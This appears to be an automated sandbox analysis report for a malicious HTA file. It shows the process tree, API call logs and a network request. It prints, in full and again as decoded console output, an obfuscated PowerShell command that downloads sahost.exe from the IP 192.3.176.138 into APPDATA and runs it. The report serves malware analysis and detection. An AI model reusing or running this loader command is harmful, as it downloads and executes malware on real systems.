popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

106.hta

Generic Malware Downloader Antivirus .NET DLL PE File DLL PE32
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Aug. 8, 2024, 2:35 p.m. Aug. 8, 2024, 2:37 p.m.
Size 152.8KB
Type HTML document, ASCII text, with very long lines, with CRLF line terminators
MD5 3c35707d9cacb409481600e0b5eed83a
SHA256 e26883bd5c9f0a2f8675c3331cae5eda33ea5432bbe2a47ebbd160106ef1acff
CRC32 1A99BA8C
ssdeep 768:tZ6A3yXNA0AGA0p0Aey4dAeKGfR+dfl1o1QiXAZO:tt
Yara None matched

  • mshta.exe "C:\Windows\System32\mshta.exe" C:\Users\test22\AppData\Local\Temp\106.hta

    1132

    • cmd.exe "C:\Windows\system32\cmd.exe" "/C POWersHelL.exe -Ex bYpaSs -NoP -w 1 -C DEvICeCREdEntIaLdEploYmEnt ; iex($(iEx('[syStem.TEXT.encoding]'+[ChAr]58+[ChaR]58+'uTf8.gETsTRINg([SySTEm.conVErt]'+[cHaR]0X3A+[ChAR]0X3a+'FrOmBASE64sTRing('+[CHAR]34+'JGlKbkVFVUxhUkVCICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLVR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFcmRlRkluSVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVSTG1PTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIER4eWlLQWx0YlAsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRLZW5zaUhYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd2NoVkhOLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWR4LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHbHVMY3EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVTWHZ3YUgiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1FU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWHggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaUpuRUVVTGFSRUI6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTM4LzEwNi9zYWhvc3QuZXhlIiwiJGVuVjpBUFBEQVRBXHNhaG9zdC5leGUiLDAsMCk7c1RhUlQtc2xlRVAoMyk7U3RBUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVxzYWhvc3QuZXhlIg=='+[ChAR]34+'))')))"

      2092

      • powershell.exe POWersHelL.exe -Ex bYpaSs -NoP -w 1 -C DEvICeCREdEntIaLdEploYmEnt ; iex($(iEx('[syStem.TEXT.encoding]'+[ChAr]58+[ChaR]58+'uTf8.gETsTRINg([SySTEm.conVErt]'+[cHaR]0X3A+[ChAR]0X3a+'FrOmBASE64sTRing('+[CHAR]34+'JGlKbkVFVUxhUkVCICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLVR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFcmRlRkluSVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVSTG1PTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIER4eWlLQWx0YlAsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRLZW5zaUhYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd2NoVkhOLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWR4LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHbHVMY3EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVTWHZ3YUgiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1FU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWHggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaUpuRUVVTGFSRUI6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTM4LzEwNi9zYWhvc3QuZXhlIiwiJGVuVjpBUFBEQVRBXHNhaG9zdC5leGUiLDAsMCk7c1RhUlQtc2xlRVAoMyk7U3RBUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVxzYWhvc3QuZXhlIg=='+[ChAR]34+'))')))"

        2188

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
192.3.176.138 Active Moloch

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: The term 'DEvICeCREdEntIaLdEploYmEnt' is not recognized as the name of a cmdlet
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: , function, script file, or operable program. Check the spelling of the name, o
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: r if a path was included, verify that the path is correct and try again.
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: At line:1 char:27
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: + DEvICeCREdEntIaLdEploYmEnt <<<< ; iex($(iEx('[syStem.TEXT.encoding]'+[ChAr]5
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: 8+[ChaR]58+'uTf8.gETsTRINg([SySTEm.conVErt]'+[cHaR]0X3A+[ChAR]0X3a+'FrOmBASE64s
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: TRing('+[CHAR]34+'JGlKbkVFVUxhUkVCICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gI
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLVR5UEUgICAgICAgICAgICAgICAgICAgICAg
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: ICAgICAgICAgLU1FbWJFcmRlRkluSVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1t
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: EbGxJbXBvcnQoIlVSTG1PTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvY
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: WRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIER4eWlLQWx0YlAsc3Ry
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: aW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRLZW5zaUhYLHN0cmluZyAgICAgICAgICA
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: gICAgICAgICAgICAgICAgICAgICBmd2NoVkhOLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgIC
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: AgICAgYWR4LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHbHVMY3EpOycgICAgI
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: CAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAg
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: ICAgIkVTWHZ3YUgiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1FU3BhY2UgICAgICA
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: gICAgICAgICAgICAgICAgICAgICAgICAgWHggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLV
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: Bhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaUpuRUVVTGFSRUI6OlVSTERvd
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: 25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTM4LzEwNi9zYWhvc3QuZXhlIiwiJGVuVjpB
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: UFBEQVRBXHNhaG9zdC5leGUiLDAsMCk7c1RhUlQtc2xlRVAoMyk7U3RBUnQgICAgICAgICAgICAgICA
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: gICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVxzYWhvc3QuZXhlIg=='+[ChAR]34+'))')))
console_handle: 0x0000011f
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ObjectNotFound: (DEvICeCREdEntIaLdEploYmEnt:Stri
console_handle: 0x0000012b
1 1 0

WriteConsoleW

 buffer: ng) [], CommandNotFoundException
console_handle: 0x00000137
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : CommandNotFoundException
console_handle: 0x00000143
1 1 0

WriteConsoleW

 buffer: Start-Process : This command cannot be executed due to the error: %1 is not a v
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: alid Win32 application.
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:861
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + $iJnEEULaREB = Ad
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: d-TyPE -MEmbErdeFInITIOn
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: '[DllImport("URLmON.Dll", CharSet = CharSet
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: .Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: DxyiKAltbP,string tKensiHX,string
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: fwchVHN,uint adx,Int
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: Ptr GluLcq);' -NamE
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: "ESXvwaH" -NaMESpa
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: ce Xx -PassThru;
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: $iJnEEULaREB::URLDownloadToFile(0,"http://192.3.176
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: .138/106/sahost.exe","$enV:APPDATA\sahost.exe",0,0);sTaRT-sleEP(3);StARt <<<<
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: "$ENv:APPDATA\sahost.exe"
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (:) [Start-Process], InvalidOp
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: erationException
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.C
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: ommands.StartProcessCommand
console_handle: 0x000000fb
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c318
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c458
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c458
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c458
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033bc58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033bc58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033bc58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033bc58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033bc58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033bc58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c458
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c458
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c458
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c9d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c9d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c9d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c6d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c9d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c9d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c9d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c9d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c9d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c9d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c9d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c798
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c798
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c798
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c798
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c798
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c798
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c798
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c798
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c798
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c798
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c798
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c798
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c798
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c798
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c818
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c818
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c818
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c818
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c818
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c818
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c818
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0033c818
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x04e9ba70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x04e9ba70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x04e9ba70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x04e9ba70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features Connection to IP address suspicious_request GET http://192.3.176.138/106/sahost.exe
request GET http://192.3.176.138/106/sahost.exe
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 1132
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02d00000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1132
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02d00000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 1769472
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025e0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02750000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2188
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024da000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2188
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02751000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02752000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0250a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024e3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024e4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0255b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02557000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024db000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02502000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02555000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0250c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04d60000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024e6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0255c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02503000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02504000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02505000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02506000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02507000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02508000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02509000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
